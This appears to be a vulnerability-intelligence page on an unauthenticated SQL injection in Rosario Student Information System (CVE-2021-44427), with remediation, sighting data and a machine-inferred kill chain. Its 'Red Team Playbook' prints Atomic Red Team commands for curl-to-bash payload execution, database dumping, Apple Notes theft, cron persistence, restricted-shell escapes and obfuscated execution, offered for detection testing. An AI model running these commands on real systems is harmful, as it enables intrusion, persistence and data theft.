CVE-2021-44427

CRITICAL Pub 29/11 Upd 04/08

Overview

This vulnerability is an unauthenticated SQL Injection affecting the Rosario Student Information System prior to version 8.1.1. The root cause lies in improper sanitization of user-supplied input within the syear parameter processed by the /Side.php endpoint. This flaw allows direct injection of malicious SQL commands into PostgreSQL queries executed by the application.

Vulnerability Description

An unauthenticated SQL Injection vulnerability in Rosario Student Information System (aka rosariosis) before 8.1.1 allows remote attackers to execute PostgreSQL statements (e.g., SELECT, INSERT, UPDATE, and DELETE) through /Side.php via the syear parameter.

Impact

An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary SQL commands on the backend PostgreSQL database, potentially leading to unauthorized data access, data modification, or deletion. No user interaction or authentication is necessary (AV:N/AC:L/PR:N/UI:N), enabling easy exploitation over the network. This can result in data breaches or service disruption for organizations using vulnerable rosariosis versions.

Solution

Users should upgrade rosariosis to version 8.1.1 or later, as this release includes the fix for the SQL Injection vulnerability. The rosariosis GitLab issue #328 provides details on the patch addressing input validation for the syear parameter in /Side.php. No official advisory ID is provided, but the repository and version update serve as the primary remediation source.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability present in the Rosario Student Information System is characterized by an unauthenticated SQL Injection flaw, which allows remote attackers to execute arbitrary PostgreSQL statements. This issue arises from improper handling of user input in the syear parameter within the /Side.php script. When input is not adequately sanitized, it becomes possible for an attacker to manipulate SQL queries, leading to unauthorized access to the database. This can result in the execution of various SQL commands, including SELECT, INSERT, UPDATE, and DELETE, which can compromise the integrity and confidentiality of the database.

Attack vectors for this vulnerability are straightforward, as they require minimal technical expertise. An attacker can craft a malicious request to the vulnerable endpoint, injecting SQL code through the syear parameter. For instance, by appending SQL commands to the parameter, an attacker can retrieve sensitive information, alter existing data, or even delete records from the database. The lack of authentication further exacerbates the risk, as any individual with knowledge of the endpoint can exploit this vulnerability without needing valid credentials. This makes the attack surface significantly larger, as it is not limited to authenticated users.

The real-world impact of this vulnerability can be severe, particularly for educational institutions that rely on the Rosario Student Information System for managing student data. Successful exploitation could lead to the exposure of sensitive information, including personal details of students and staff, academic records, and financial data. The repercussions of such a data breach can be extensive, including reputational damage, legal liabilities, and regulatory penalties. Furthermore, the potential for data manipulation could disrupt academic operations, leading to significant operational challenges and loss of trust from stakeholders.

To detect and mitigate this vulnerability, organizations should implement several strategies. Regular security assessments, including penetration testing and code reviews, can help identify and remediate vulnerabilities in web applications. Employing web application firewalls (WAFs) can provide an additional layer of protection by filtering out malicious requests before they reach the application. Furthermore, input validation and parameterized queries should be enforced to ensure that user inputs are properly sanitized, thus preventing SQL injection attacks. Organizations should also ensure that they are running the latest version of the Rosario Student Information System, as updates often include patches for known vulnerabilities.

In conclusion, the unauthenticated SQL Injection vulnerability in the Rosario Student Information System poses a significant risk to organizations that utilize this software. The ease of exploitation, combined with the potential for severe consequences, underscores the importance of proactive security measures. By adopting robust detection and mitigation strategies, organizations can safeguard their databases against unauthorized access and maintain the integrity of their systems.



CSURFACE threat intelligence has detected a slight increase in activity related to CVE-2021-44427, indicating continued but not accelerating exploitation attempts targeting the Rosario Student Information System. While our telemetry shows a modest uptick in detection events, the EPSS score has notably declined, reflecting a reduced probability of widespread exploitation in the near term. This divergence suggests that although adversaries remain interested in this vulnerability, the momentum behind active exploitation campaigns is waning. For defenders, this nuanced shift highlights the importance of maintaining vigilance without overestimating immediate threat escalation. The overall risk posture remains critical due to the vulnerability’s inherent severity and ease of exploitation, but the current trend points to a stabilization rather than an intensification of threat activity.

Affected Products (1)

Vendor Product Version CPE
rosariosis Rosariosis Rosariosis All cpe:2.3:a:rosariosis:rosariosis:*:*:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings Few sightings

Threat Feed

30 events
2026-08-27
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-26
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-22
Threat Sensor Sighting — Few sightings

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2026-08-21
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-20
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-17
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-15
Threat Sensor Sighting — Few sightings

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2026-08-13
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-11
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-09
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-06
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-31
Threat Sensor Sighting — Few sightings

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2026-07-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-29
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-28
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-27
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-25
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-24
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-17
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-16
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-11
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-05
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-01
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-26
Threat Sensor Sighting — Few sightings

Sighting activity recorded

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

SQL Injection
100% sql_injection
Remote Code Execution
50% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1053.003 Cron Kill Chain execution, persistence, privilege-escalation Linux, macOS, ESXi
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS
T1005 Data from Local System Kill Chain collection ESXi, Linux, macOS, Network Devices, Windows

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-7 Blind SQL Injection
56%
High High
CAPEC-110 SQL Injection through SOAP Parameter Tampering
54%
High Very High
CAPEC-108 Command Line Execution through SQL Injection
54%
Low Very High
CAPEC-109 Object Relational Mapping Injection
54%
Low High
CAPEC-66 SQL Injection
51%
High High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1005 Copy Apple Notes database files using AppleScript macOS Shell
This command will copy Apple Notes database files using AppleScript as seen in Atomic Stealer.
Command (Shell) 
osascript -e 'tell application "Finder"' -e 'set destinationFolderPath to POSIX file "#{destination_path}"' -e 'set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"' -e 'set notesFolder to folder notesFolderPath' -e 'set notesFiles to {file "NoteStore.sqlite", file "NoteStore.sqlite-shm", file "NoteStore.sqlite-wal"} of notesFolder' -e 'repeat with aFile in notesFiles' -e 'duplicate aFile to folder destinationFolderPath with replacing' -e 'end' -e 'end tell'
T1005 Find and dump sqlite databases (Linux) Linux Bash
An adversary may know/assume that the user of a system uses sqlite databases which contain interest and sensitive data. In this test we download two databases and a sqlite dump script, then run a find command to find & dump the database content.
Command (Bash) 
cd $HOME
curl -O #{remote_url}/art
curl -O #{remote_url}/gta.db
curl -O #{remote_url}/sqlite_dump.sh
chmod +x sqlite_dump.sh
find . ! -executable -exec bash -c 'if [[ "$(head -c 15 {} | strings)" == "SQLite format 3" ]]; then echo "{}"; ./sqlite_dump.sh {}; fi' \;
T1005 Search files of interest and save them to a single zip file (Windows) Windows PowerShell
This test searches for files of certain extensions and saves them to a single zip file prior to extraction.
Command (PowerShell) 
$startingDirectory = "#{starting_directory}"
$outputZip = "#{output_zip_folder_path}"
$fileExtensionsString = "#{file_extensions}" 
$fileExtensions = $fileExtensionsString -split ", "

New-Item -Type Directory $outputZip -ErrorAction Ignore -Force | Out-Null

Function Search-Files {
  param (
    [string]$directory
  )
  $files = Get-ChildItem -Path $directory -File -Recurse | Where-Object {
    $fileExtensions -contains $_.Extension.ToLower()
  }
  return $files
}

$foundFiles = Search-Files -directory $startingDirectory
if ($foundFiles.Count -gt 0) {
  $foundFilePaths = $foundFiles.FullName
  Compress-Archive -Path $foundFilePaths -DestinationPath "$outputZip\data.zip"

  Write-Host "Zip file created: $outputZip\data.zip"
  } else {
      Write-Host "No files found with the specified extensions."
  }
T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell) 
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD) 
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell) 
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD) 
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell) 
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell) 
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell) 
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash) 
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell) 
Get-NetTCPConnection
T1053.003 Cron - Add script to /etc/cron.d folder Linux Shell Privileged
This test adds a script to /etc/cron.d folder configured to execute on a schedule.
Command (Shell) 
echo "#{command}" > /etc/cron.d/#{cron_script_name}
T1053.003 Cron - Add script to /var/spool/cron/crontabs/ folder Linux Bash Privileged
This test adds a script to a /var/spool/cron/crontabs folder configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
Command (Bash) 
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
T1053.003 Cron - Add script to all cron subfolders Linux, macOS Bash Privileged
This test adds a script to /etc/cron.hourly, /etc/cron.daily, /etc/cron.monthly and /etc/cron.weekly folders configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
Command (Bash) 
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
T1053.003 Cron - Replace crontab with referenced file Linux, macOS Shell
This test replaces the current user's crontab file with the contents of the referenced file. This technique was used by numerous IoT automated exploitation attacks.
Command (Shell) 
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash) 
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell) 
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell) 
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell) 
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell) 
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell) 
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell) 
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell) 
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell) 
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell) 
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell) 
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell) 
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell) 
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell) 
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell) 
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell) 
cat /etc/shells
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell) 
sudo emacs -Q -nw --eval '(term "/bin/sh &")'

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (2)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2021-44427
gitlab.com
GitHub CVE x_refsource_MISC
https://gitlab.com/francoisjacquet/rosariosis/-/issues/328